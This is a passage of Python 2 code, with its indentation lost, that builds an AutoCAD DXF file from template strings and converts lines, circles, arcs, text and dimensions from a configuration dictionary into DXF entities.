2.0
9
$DIMDLI
40
100.0
9
$DIMRND
40
0.0
9
$DIMDLE
40
0.0
9
$DIMEXE
40
200.0
9
$DIMTP
40
0.0
9
$DIMTM
40
0.0
9
$DIMTXT
40
350.0
9
$DIMCEN
40
2.5
9
$DIMTSZ
40
0.0
9
$DIMTOL
70
0
9
$DIMLIM
70
0
9
$DIMTIH
70
0
9
$DIMTOH
70
0
9
$DIMSE1
70
0
9
$DIMSE2
70
0
9
$DIMTAD
70
1
9
$DIMZIN
70
8
9
$DIMBLK
1
9
$DIMASO
70
1
9
$DIMSHO
70
1
9
$DIMPOST
1
9
$DIMAPOST
1
9
$DIMALT
70
0
9
$DIMALTD
70
3
9
$DIMALTF
40
0.03937007874016
9
$DIMLFAC
40
1.0
9
$DIMTOFL
70
1
9
$DIMTVP
40
0.0
9
$DIMTIX
70
0
9
$DIMSOXD
70
0
9
$DIMSAH
70
0
9
$DIMBLK1
1
9
$DIMBLK2
1
9
$DIMSTYLE
2
ISO-25
9
$DIMCLRD
70
0
9
$DIMCLRE
70
0
9
$DIMCLRT
70
0
9
$DIMTFAC
40
1.0
9
$DIMGAP
40
100.0
9
$DIMJUST
70
0
9
$DIMSD1
70
0
9
$DIMSD2
70
0
9
$DIMTOLJ
70
0
9
$DIMTZIN
70
8
9
$DIMALTZ
70
0
9
$DIMALTTZ
70
0
9
$DIMUPT
70
0
9
$DIMDEC
70
0
9
$DIMTDEC
70
2
9
$DIMALTU
70
2
9
$DIMALTTD
70
3
9
$DIMTXSTY
7
Standard
9
$DIMAUNIT
70
0
9
$DIMADEC
70
0
9
$DIMALTRND
40
0.0
9
$DIMAZIN
70
0
9
$DIMDSEP
70
46
9
$DIMATFIT
70
3
9
$DIMFRAC
70
0
9
$DIMLDRBLK
1
9
$DIMLUNIT
70
2
9
$DIMLWD
70
-2
9
$DIMLWE
70
-2
9
$DIMTMOVE
70
0
9
$LUNITS
70
2
9
$LUPREC
70
3
9
$SKETCHINC
40
1.0
9
$FILLETRAD
40
10.0
9
$AUNITS
70
0
9
$AUPREC
70
0
9
$MENU
1
.
9
$ELEVATION
40
0.0
9
$PELEVATION
40
0.0
9
$THICKNESS
40
0.0
9
$LIMCHECK
70
0
9
$CHAMFERA
40
10.0
9
$CHAMFERB
40
10.0
9
$CHAMFERC
40
20.0
9
$CHAMFERD
40
0.0
9
$SKPOLY
70
0
9
$TDCREATE
40
2455022.887359514
9
$TDUCREATE
40
2455022.637359514
9
$TDUPDATE
40
2456833.780451389
9
$TDUUPDATE
40
2456833.530451389
9
$TDINDWG
40
0.0
9
$TDUSRTIMER
40
2456833.52087963
9
$USRTIMER
70
1
9
$ANGBASE
50
0.0
9
$ANGDIR
70
0
9
$PDMODE
70
0
9
$PDSIZE
40
0.0
9
$PLINEWID
40
0.0
9
$SPLFRAME
70
0
9
$SPLINETYPE
70
6
9
$SPLINESEGS
70
8
9
$HANDSEED
5
MY_HANDSEED
9
$SURFTAB1
70
6
9
$SURFTAB2
70
6
9
$SURFTYPE
70
6
9
$SURFU
70
6
9
$SURFV
70
6
9
$UCSBASE
2
9
$UCSNAME
2
9
$UCSORG
10
0.0
20
0.0
30
0.0
9
$UCSXDIR
10
1.0
20
0.0
30
0.0
9
$UCSYDIR
10
0.0
20
1.0
30
0.0
9
$UCSORTHOREF
2
9
$UCSORTHOVIEW
70
0
9
$UCSORGTOP
10
0.0
20
0.0
30
0.0
9
$UCSORGBOTTOM
10
0.0
20
0.0
30
0.0
9
$UCSORGLEFT
10
0.0
20
0.0
30
0.0
9
$UCSORGRIGHT
10
0.0
20
0.0
30
0.0
9
$UCSORGFRONT
10
0.0
20
0.0
30
0.0
9
$UCSORGBACK
10
0.0
20
0.0
30
0.0
9
$PUCSBASE
2
9
$PUCSNAME
2
9
$PUCSORG
10
0.0
20
0.0
30
0.0
9
$PUCSXDIR
10
1.0
20
0.0
30
0.0
9
$PUCSYDIR
10
0.0
20
1.0
30
0.0
9
$PUCSORTHOREF
2
9
$PUCSORTHOVIEW
70
0
9
$PUCSORGTOP
10
0.0
20
0.0
30
0.0
9
$PUCSORGBOTTOM
10
0.0
20
0.0
30
0.0
9
$PUCSORGLEFT
10
0.0
20
0.0
30
0.0
9
$PUCSORGRIGHT
10
0.0
20
0.0
30
0.0
9
$PUCSORGFRONT
10
0.0
20
0.0
30
0.0
9
$PUCSORGBACK
10
0.0
20
0.0
30
0.0
9
$USERI1
70
0
9
$USERI2
70
0
9
$USERI3
70
0
9
$USERI4
70
0
9
$USERI5
70
0
9
$USERR1
40
0.0
9
$USERR2
40
0.0
9
$USERR3
40
0.0
9
$USERR4
40
0.0
9
$USERR5
40
0.0
9
$WORLDVIEW
70
1
9
$SHADEDGE
70
3
9
$SHADEDIF
70
70
9
$TILEMODE
70
1
9
$MAXACTVP
70
64
9
$PINSBASE
10
0.0
20
0.0
30
0.0
9
$PLIMCHECK
70
0
9
$PEXTMIN
10
1.000000000000000E+20
20
1.000000000000000E+20
30
1.000000000000000E+20
9
$PEXTMAX
10
-1.000000000000000E+20
20
-1.000000000000000E+20
30
-1.000000000000000E+20
9
$PLIMMIN
10
0.0
20
0.0
9
$PLIMMAX
10
0.0
20
0.0
9
$UNITMODE
70
0
9
$VISRETAIN
70
1
9
$PLINEGEN
70
0
9
$PSLTSCALE
70
1
9
$TREEDEPTH
70
3020
9
$CMLSTYLE
2
Standard
9
$CMLJUST
70
0
9
$CMLSCALE
40
20.0
9
$PROXYGRAPHICS
70
1
9
$MEASUREMENT
70
1
9
$CELWEIGHT
370
-1
9
$ENDCAPS
280
0
9
$JOINSTYLE
280
0
9
$LWDISPLAY
290
0
9
$INSUNITS
70
4
9
$HYPERLINKBASE
1
9
$STYLESHEET
1
9
$XEDIT
290
1
9
$CEPSNTYPE
380
0
9
$PSTYLEMODE
290
1
9
$FINGERPRINTGUID
2
{EC6BB858-51AA-46EC-B484-6C9CC7AB3E2E}
9
$VERSIONGUID
2
{FAEB1C32-E019-11D5-929B-00C0DF256EC4}
9
$EXTNAMES
290
1
9
$PSVPSCALE
40
0.0
9
$OLESTARTUP
290
0
0
ENDSEC
0
SECTION
2
CLASSES
0
CLASS
1
ACDBDICTIONARYWDFLT
2
AcDbDictionaryWithDefault
3
ObjectDBX Classes
90
0
280
0
281
0
0
CLASS
1
VISUALSTYLE
2
AcDbVisualStyle
3
ObjectDBX Classes
90
4095
280
0
281
0
0
CLASS
1
TABLESTYLE
2
AcDbTableStyle
3
ObjectDBX Classes
90
4095
280
0
281
0
0
CLASS
1
DICTIONARYVAR
2
AcDbDictionaryVar
3
ObjectDBX Classes
90
0
280
0
281
0
0
CLASS
1
SCALE
2
AcDbScale
3
ObjectDBX Classes
90
1153
280
0
281
0
0
CLASS
1
CELLSTYLEMAP
2
AcDbCellStyleMap
3
ObjectDBX Classes
90
1152
280
0
281
0
0
CLASS
1
RASTERVARIABLES
2
AcDbRasterVariables
3
ISM
90
0
280
0
281
0
0
CLASS
1
MATERIAL
2
AcDbMaterial
3
ObjectDBX Classes
90
1153
280
0
281
0
0
CLASS
1
SUN
2
AcDbSun
3
SCENEOE
90
1153
280
0
281
0
0
CLASS
1
ACDBPLACEHOLDER
2
AcDbPlaceHolder
3
ObjectDBX Classes
90
0
280
0
281
0
0
CLASS
1
LAYOUT
2
AcDbLayout
3
ObjectDBX Classes
90
0
280
0
281
0
0
ENDSEC
0
SECTION
2
TABLES
0
TABLE
2
VPORT
5
8
330
0
100
AcDbSymbolTable
70
1
0
VPORT
5
29
330
8
100
AcDbSymbolTableRecord
100
AcDbViewportTableRecord
2
*Active
70
0
10
0.0
20
0.0
11
1.0
21
1.0
12
4567.945342688919
22
-290.378497865131
13
0.0
23
0.0
14
10.0
24
10.0
15
10.0
25
10.0
16
0.0
26
0.0
36
1.0
17
-134.1869158878508
27
0.0
37
0.0
40
8758.433978073293
41
1.871915393654524
42
50.0
43
0.0
44
0.0
50
0.0
51
0.0
71
16
72
1000
73
1
74
3
75
0
76
0
77
0
78
0
281
0
65
1
110
0.0
120
0.0
130
0.0
111
1.0
121
0.0
131
0.0
112
0.0
122
1.0
132
0.0
79
0
146
0.0
0
ENDTAB
0
TABLE
2
LTYPE
5
5
330
0
100
AcDbSymbolTable
70
4
0
LTYPE
5
14
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
ByBlock
70
0
3
72
65
73
0
40
0.0
0
LTYPE
5
15
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
ByLayer
70
0
3
72
65
73
0
40
0.0
0
LTYPE
5
16
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
Continuous
70
0
3
Solid line
72
65
73
0
40
0.0
0
LTYPE
5
B7
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
CENTER
70
0
3
Center _____ _ _____ _ _____ _ _____ _
72
65
73
4
40
50.8
49
31.75
74
0
49
-6.35
74
0
49
6.35
74
0
49
-6.35
74
0
0
LTYPE
5
B8
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
DASHED
70
0
3
Dashed __ __ __ __ __ __ __ __ __ __
72
65
73
2
40
19.05
49
12.7
74
0
49
-6.35
74
0
0
LTYPE
5
B9
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
PHANTOM
70
0
3
Phantom _____ _ _ _____ _ _ _____ _ _
72
65
73
6
40
63.50000000000001
49
31.75
74
0
49
-6.35
74
0
49
6.35
74
0
49
-6.35
74
0
49
6.35
74
0
49
-6.35
74
0
0
ENDTAB
0
TABLE
2
LAYER
5
2
330
0
100
AcDbSymbolTable
70
2
0
LAYER
5
10
330
2
100
AcDbSymbolTableRecord
100
AcDbLayerTableRecord
2
0
70
0
62
7
6
Continuous
370
-3
390
F
0
LAYER
5
BA
330
2
100
AcDbSymbolTableRecord
100
AcDbLayerTableRecord
2
Defpoints
70
0
62
7
6
Continuous
290
0
370
-3
390
F
0"""
self.write_list.append(self.HENDLE_CLASS_LAYERS)#1
self.STYLES = """ENDTAB
0
TABLE
2
STYLE
5
3
330
0
100
AcDbSymbolTable
70
1
0
STYLE
5
11
330
3
100
AcDbSymbolTableRecord
100
AcDbTextStyleTableRecord
2
Standard
70
0
40
0.0
41
0.7
50
0.0
71
0
42
350
3
txt
4
0
ENDTAB
0
TABLE
2
VIEW
5
6
330
0
100
AcDbSymbolTable
70
0
0
ENDTAB
0
TABLE
2
UCS
5
7
330
0
100
AcDbSymbolTable
70
0
0
ENDTAB
0
TABLE
2
APPID
5
9
330
0
100
AcDbSymbolTable
70
1
0
APPID
5
12
330
9
100
AcDbSymbolTableRecord
100
AcDbRegAppTableRecord
2
ACAD
70
0
0
ENDTAB
0
TABLE
2
DIMSTYLE
5
A
330
0
100
AcDbSymbolTable
70
1
100
AcDbDimStyleTable
0
DIMSTYLE
105
27"""
self.write_list.append(self.STYLES)#2
self.ACAD_REACTORS = """102
{ACAD_REACTORS
MY_REACTORS
102
}"""
self.write_list.append(self.ACAD_REACTORS)#3
self.BLOCK_RECORDS = """330
A
100
AcDbSymbolTableRecord
100
AcDbDimStyleTableRecord
2
ISO-25
70
0
41
200.0
42
100.0
43
100.0
44
100.0
46
100.0
73
0
74
0
77
1
78
8
140
350.0
141
2.5
143
0.03937007874016
147
50.0
171
3
172
1
178
0
271
0
272
2
274
3
278
44
283
0
284
8
340
11
0
ENDTAB
0
TABLE
2
BLOCK_RECORD
5
1
330
0
100
AcDbSymbolTable
70
3
0
BLOCK_RECORD
5
1F
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*Model_Space
340
22
0
BLOCK_RECORD
5
1B
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*Paper_Space
340
1E
0
BLOCK_RECORD
5
23
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*Paper_Space0
340
26
0"""
self.write_list.append(self.BLOCK_RECORDS)#4
self.BLOCKS = """ENDTAB
0
ENDSEC
0
SECTION
2
BLOCKS
0
BLOCK
5
20
330
1F
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
*Model_Space
70
0
10
0.0
20
0.0
30
0.0
3
*Model_Space
1
*Model_Space
0
ENDBLK
5
21
330
1F
100
AcDbEntity
8
0
100
AcDbBlockEnd
0
BLOCK
5
1C
330
1B
100
AcDbEntity
67
1
8
0
100
AcDbBlockBegin
2
*Paper_Space
70
0
10
0.0
20
0.0
30
0.0
3
*Paper_Space
1
*Paper_Space
0
ENDBLK
5
1D
330
1B
100
AcDbEntity
67
1
8
0
100
AcDbBlockEnd
0
BLOCK
5
24
330
23
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
*Paper_Space0
70
0
10
0.0
20
0.0
30
0.0
3
*Paper_Space0
1
*Paper_Space0
0
ENDBLK
5
25
330
23
100
AcDbEntity
8
0
100
AcDbBlockEnd
0"""
self.write_list.append(self.BLOCKS)#5
self.Block_end_ENTITIES = """ENDSEC
0
SECTION
2
ENTITIES
0"""
self.write_list.append(self.Block_end_ENTITIES)#6
self.dim_list = {}
dim_ind = 0
def widther(i):
w = str(self.config_dict[i]['width'])
if w in ('1', '1.0'):
self.config_dict[i]['width'] = '20'
elif w in ('2', '2.0'):
self.config_dict[i]['width'] = '30'
elif w in ('3', '3.0'):
self.config_dict[i]['width'] = '80'
elif w in ('4', '4.0'):
self.config_dict[i]['width'] = '158'
else:
self.config_dict[i]['width'] = '20'
def formater(i, z=1):
e = str(format(z*float(i), '.5f'))
while 1:
if e[-1] == 0 and e[-2] != '.':
e = e[0:-1]
else:
break
return e
for i in self.config_dict:
if i[0] == 'd':
hand()
dim_ind += 1
self.config_dict[i]['handle'] = self.handle
self.config_dict[i]['dim_ind'] = 'D' + str(dim_ind)
y1 = self.config_dict[i]['y1']
self.config_dict[i]['y1'] = formater(y1, -1)
y2 = self.config_dict[i]['y2']
self.config_dict[i]['y2'] = formater(y2, -1)
y3 = self.config_dict[i]['y3']
self.config_dict[i]['y3'] = formater(y3, -1)
x1 = self.config_dict[i]['x1']
self.config_dict[i]['x1'] = formater(x1)
x2 = self.config_dict[i]['x2']
self.config_dict[i]['x2'] = formater(x2)
x3 = self.config_dict[i]['x3']
self.config_dict[i]['x3'] = formater(x3)
vr_s = self.config_dict[i]['vr_s']
self.config_dict[i]['vr_s'] = formater(vr_s)
vv_s = self.config_dict[i]['vv_s']
self.config_dict[i]['vv_s'] = formater(vv_s)
size = self.config_dict[i]['size']
self.config_dict[i]['size'] = str(-float(size))
w_text = self.config_dict[i]['w_text_dim']
self.config_dict[i]['w_text_dim'] = str(float(w_text)/3.0)
self.dim_list[self.config_dict[i]['dim_ind']] = copy(self.config_dict)
e = """DIMENSION
5
%(handle)s
330
1F
100
AcDbEntity
8
0
62
%(fill)s
100
AcDbDimension
2
*%(dim_ind)s
10
%(arrow_point2_x)s
20
%(arrow_point2_y)s
30
0.0
11
%(text_x)s
21
%(text_y)s
31
0.0
70
160
71
5
42
%(dim_distanse)s
3
ISO-25
100
AcDbAlignedDimension
13
%(x1)s
23
%(y1)s
33
0.0
14
%(x2)s
24
%(y2)s
34
0.0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if float(self.config_dict[i]['angle']) != 0.0:
e = """ 50
%(angle)s"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
e = """100
AcDbRotatedDimension"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
e = """330
%(handle)s"""
e = (e % self.config_dict[i])
self.write_list[2] = self.write_list[2].replace('MY_REACTORS', (e + '\n' + 'MY_REACTORS'))
hand()
self.config_dict[i]['handle'] = self.handle
e = """BLOCK_RECORD
5
%(handle)s
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*%(dim_ind)s
340
0
0"""
e = (e % self.config_dict[i])
self.write_list[3] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = copy(self.handle)
hand()
self.config_dict[i]['handle_BLOCK_end'] = copy(self.handle)
e = """BLOCK
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
*%(dim_ind)s
70
1
10
0.0
20
0.0
30
0.0
3
*%(dim_ind)s
1
*%(dim_ind)s
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbLine
10
%(line_1_x1)s
20
%(line_1_y1)s
30
0.0
11
%(line_1_x2)s
21
%(line_1_y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbLine
10
%(line_2_x1)s
20
%(line_2_y1)s
30
0.0
11
%(line_2_x2)s
21
%(line_2_y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbLine
10
%(line_3_x1)s
20
%(line_3_y1)s
30
0.0
11
%(line_3_x2)s
21
%(line_3_y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
if self.config_dict[i]['type_arrow'] == 'Arch':
e = """INSERT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbBlockReference
2
_OBLIQUE
10
%(arrow_point1_x)s
20
%(arrow_point1_y)s
30
0.0
41
%(arrow_s)s
42
%(arrow_s)s
43
%(arrow_s)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
if float(self.config_dict[i]['angle_arrow1']) != 0.0:
e = """ 50
%(angle_arrow1)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
e = """ 0"""
self.write_list[4] += ('\n' + e)
if self._OBLIQUE == True:
e = """331
%(handle2)s"""
e = (e % self.config_dict[i])
self.block_oblique_record = self.block_oblique_record.replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
#self.write_list[3] = self.write_list[3].replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
else:
self.config_dict[i]['MY_1_BLKREFS'] = self.handle
hand()
self.config_dict[i]['handle2'] = self.handle
e = """INSERT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
370
-2
100
AcDbBlockReference
2
_OBLIQUE
10
%(arrow_point2_x)s
20
%(arrow_point2_y)s
30
0.0
41
%(arrow_s)s
42
%(arrow_s)s
43
%(arrow_s)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
if float(self.config_dict[i]['angle_arrow2']) != 0.0:
#print self.config_dict[i]['angle_arrow2']
e = """ 50
%(angle_arrow2)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
e = """ 0"""
self.write_list[4] += ('\n' + e)
if self._OBLIQUE == True:
e = """331
%(handle2)s"""
e = (e % self.config_dict[i])
self.block_oblique_record = self.block_oblique_record.replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
#self.write_list[3] = self.write_list[3].replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS'))
else:
self.config_dict[i]['MY_2_BLKREFS'] = copy(self.handle)
hand()
self.config_dict[i]['handle2'] = self.handle
else:
e = """SOLID
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
100
AcDbTrace
10
%(arrow_1_x2)s
20
%(arrow_1_y2)s
30
0.0
11
%(arrow_5_x)s
21
%(arrow_5_y)s
31
0.0
12
%(arrow_2_x2)s
22
%(arrow_2_y2)s
32
0.0
13
%(arrow_1_x1)s
23
%(arrow_1_y1)s
33
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """SOLID
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
100
AcDbTrace
10
%(arrow_3_x2)s
20
%(arrow_3_y2)s
30
0.0
11
%(arrow_6_x)s
21
%(arrow_6_y)s
31
0.0
12
%(arrow_4_x2)s
22
%(arrow_4_y2)s
32
0.0
13
%(arrow_3_x1)s
23
%(arrow_3_y1)s
33
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """MTEXT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
0
62
0
100
AcDbMText
10
%(text_xx)s
20
%(text_yy)s
30
0.0
40
%(size)s
41
0.0
71
5
72
1
1
%(dim_distanse)s"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
if self.config_dict[i]['ort'] == 'horizontal':
e = """ 11
0.0
21
1.0
31
0.0"""
self.write_list[4] += ('\n' + e)
e = """ 73
1
44
1.0
0"""
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """POINT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
Defpoints
62
0
100
AcDbPoint
10
%(line_1_x1)s
20
%(line_1_y1)s
30
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """POINT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
Defpoints
62
0
100
AcDbPoint
10
%(line_2_x1)s
20
%(line_2_y1)s
30
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
self.config_dict[i]['handle2'] = self.handle
e = """POINT
5
%(handle2)s
330
%(handle)s
100
AcDbEntity
8
Defpoints
62
0
100
AcDbPoint
10
%(arrow_point2_x)s
20
%(arrow_point2_y)s
30
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
#hand()
#self.config_dict[i]['handle2'] = self.handle
e = """ENDBLK
5
%(handle_BLOCK_end)s
330
%(handle)s
100
AcDbEntity
8
0
100
AcDbBlockEnd
0"""
e = (e % self.config_dict[i])
self.write_list[4] += ('\n' + e)
hand()
if self.config_dict[i]['type_arrow'] == 'Arch':
if self._OBLIQUE == False:
hand()
self.config_dict[i]['handle2'] = copy(self.handle)
self._OBLIQUE_BLOCK_RECORDS = {'oblique_records_handle':copy(self.handle)}
e = """BLOCK_RECORD
5
%(handle2)s
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
_OBLIQUE
340
0
102
{BLKREFS
331
%(MY_1_BLKREFS)s
331
%(MY_2_BLKREFS)s
MY_BLKREFS
102
}
0"""
self.block_oblique_record = (e % self.config_dict[i])
#self.write_list[3] += ('\n' + e)
hand()
self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle
self._OBLIQUE = True
e = """BLOCK
5
%(handle2)s
330
%(oblique_records_handle)s
100
AcDbEntity
8
0
100
AcDbBlockBegin
2
_OBLIQUE
70
0
10
0.0
20
0.0
30
0.0
3
_OBLIQUE
1
_OBLIQUE
0"""
self.block_oblique = (e % self._OBLIQUE_BLOCK_RECORDS)
#self.write_list[4] += ('\n' + e)
hand()
self._OBLIQUE_BLOCK_RECORDS['handle_OBLIQUE_BLOCK'] = copy(self.handle)
hand()
self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle
e = """LINE
5
%(handle2)s
330
%(oblique_records_handle)s
100
AcDbEntity
8
0
6
ByBlock
62
0
370
-2
100
AcDbLine
10
-0.5
20
-0.5
30
0.0
11
0.5
21
0.5
31
0.0
0"""
e = (e % self._OBLIQUE_BLOCK_RECORDS)
self.block_oblique += ('\n' + e)
#hand()
#self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle
e = """ENDBLK
5
%(handle_OBLIQUE_BLOCK)s
330
%(oblique_records_handle)s
100
AcDbEntity
8
0
100
AcDbBlockEnd
0"""
e = (e % self._OBLIQUE_BLOCK_RECORDS)
self.block_oblique += ('\n' + e)
#hand()
self.config_dict[i]['oblique_records_handle'] = copy(self._OBLIQUE_BLOCK_RECORDS['oblique_records_handle'])
e = """1001
ACAD
1000
DSTYLE
1002
{
1070
173
1070
1
1070
342
1005
0
1070
344
1005
%(oblique_records_handle)s
1070
343
1005
%(oblique_records_handle)s
1070
46
1040
0.0
1070
278
1070
46
1070
44
1040
%(vv_s)s
1070
42
1040
0.0
1070
147
1040
%(s)s
1002
}"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
else:
e = """1001
ACAD
1000
DSTYLE
1002
{
1070
44
1040
%(vv_s)s
1070
42
1040
0.0
1070
41
1040
%(size_arrow)s
1070
147
1040
%(s)s
1002
}"""
e = """ 0"""
self.write_list[5] += ('\n' + e)
if i[0] == 'L':
hand()
self.config_dict[i]['handle'] = self.handle
widther(i)
y1 = self.config_dict[i]['y1']
self.config_dict[i]['y1'] = formater(y1, -1)
y2 = self.config_dict[i]['y2']
self.config_dict[i]['y2'] = formater(y2, -1)
x1 = self.config_dict[i]['x1']
self.config_dict[i]['x1'] = formater(x1)
x2 = self.config_dict[i]['x2']
self.config_dict[i]['x2'] = formater(x2)
self.stipples = {'_____________':None,
'_ _ _ _ _ _ _':(1,1),
'____ _ ____ _':(4,1,1,1),
'____ _ _ ____':(4,1,1,1,1,1)}
if self.config_dict[i]['stipple']:
for j in self.stipples:
if self.stipples[j]:
t = map(lambda x: x*float(self.AL[i]['factor_stip']), self.stipples[j])
if t == self.AL[i]['stipple']:
stip = j
break
if stip == '____ _ ____ _':
self.config_dict[i]['dash'] = 'CENTER'
elif stip == '_ _ _ _ _ _ _':
self.config_dict[i]['dash'] = 'DASHED'
elif stip == '____ _ _ ____':
self.config_dict[i]['dash'] = 'PHANTOM'
else:
self.config_dict[i]['dash'] = 'Continuous'
e = """LINE
5
%(handle)s
330
1F
100
AcDbEntity
8
0
6
%(dash)s
62
%(fill)s
48
30.0
370
%(width)s
100
AcDbLine
10
%(x1)s
20
%(y1)s
30
0.0
11
%(x2)s
21
%(y2)s
31
0.0
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if i[0] == 'c':
hand()
self.config_dict[i]['handle'] = self.handle
widther(i)
y0 = self.config_dict[i]['y0']
self.config_dict[i]['y0'] = formater(y0, -1)
x0 = self.config_dict[i]['x0']
self.config_dict[i]['x0'] = formater(x0)
e = """CIRCLE
5
%(handle)s
330
1F
100
AcDbEntity
8
0
62
%(fill)s
370
%(width)s
100
AcDbCircle
10
%(x0)s
20
%(y0)s
30
0.0
40
%(R)s
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if i[0] == 'a':
hand()
self.config_dict[i]['handle'] = self.handle
widther(i)
y0 = self.config_dict[i]['y0']
self.config_dict[i]['y0'] = formater(y0, -1)
x0 = self.config_dict[i]['x0']
self.config_dict[i]['x0'] = formater(x0)
start = self.config_dict[i]['start']
extent = self.config_dict[i]['extent'] + start
if extent < start:
start = extent
extent = self.config_dict[i]['start']
self.config_dict[i]['start'] = start
self.config_dict[i]['extent'] = extent
e = """ARC
5
%(handle)s
330
1F
100
AcDbEntity
8
0
6
ByLayer
62
%(fill)s
370
%(width)s
100
AcDbCircle
10
%(x0)s
20
%(y0)s
40
%(R)s
100
AcDbArc
50
%(start)s
51
%(extent)s
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if i[0] == 't':
hand()
self.config_dict[i]['handle'] = self.handle
y = self.config_dict[i]['y']
self.config_dict[i]['y'] = formater(y, -1)
x = self.config_dict[i]['x']
self.config_dict[i]['x'] = formater(x)
size = self.config_dict[i]['size']
self.config_dict[i]['size'] = str(-float(size))
angle = self.config_dict[i]['angle']
self.config_dict[i]['angle'] = str(float(angle)*180.0/pi)
w_text = self.config_dict[i]['w_text']
self.config_dict[i]['w_text'] = str(float(w_text)/3.0)
text = self.config_dict[i]['text']
self.config_dict[i]['text'] = text.encode("cp1251")
e = """TEXT
5
%(handle)s
330
1F
100
AcDbEntity
8
0
62
%(fill)s
100
AcDbText
10
%(x)s
20
%(y)s
30
0.0
40
%(size)s"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
if self.config_dict[i]['angle'] not in ('0.0', '0'):
e = """50
%(angle)s"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
e = """1
%(text)s
41
%(w_text)s
100
AcDbText
0"""
e = (e % self.config_dict[i])
self.write_list[5] += ('\n' + e)
hand()
self.h = {'last_handle':self.handle}
self.OBJECTS = """ENDSEC
0
SECTION
2
OBJECTS
0
DICTIONARY
5
C
330
0
100
AcDbDictionary
281
1
3
ACAD_DETAILVIEWSTYLE
350
B5
3
ACAD_GROUP
350
D
3
ACAD_IMAGE_VARS
350
6A
3
ACAD_LAYOUT
350
1A
3
ACAD_MLINESTYLE
350
17
3
ACAD_PLOTSETTINGS
350
19
3
ACAD_PLOTSTYLENAME
350
E
3
ACAD_SCALELIST
350
40
3
ACAD_SECTIONVIEWSTYLE
350
B6
3
AcDbVariableDictionary
350
3D
3
APPDATA
350
71
3
DWGPROPS
350
%(last_handle)s"""
self.OBJECTS = (self.OBJECTS % self.h)
self.write_list.append(self.OBJECTS)
e = """ 0
DICTIONARY
5
B5
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
DICTIONARY
5
D
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
RASTERVARIABLES
5
6A
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbRasterVariables
90
0
70
1
71
1
72
1
0
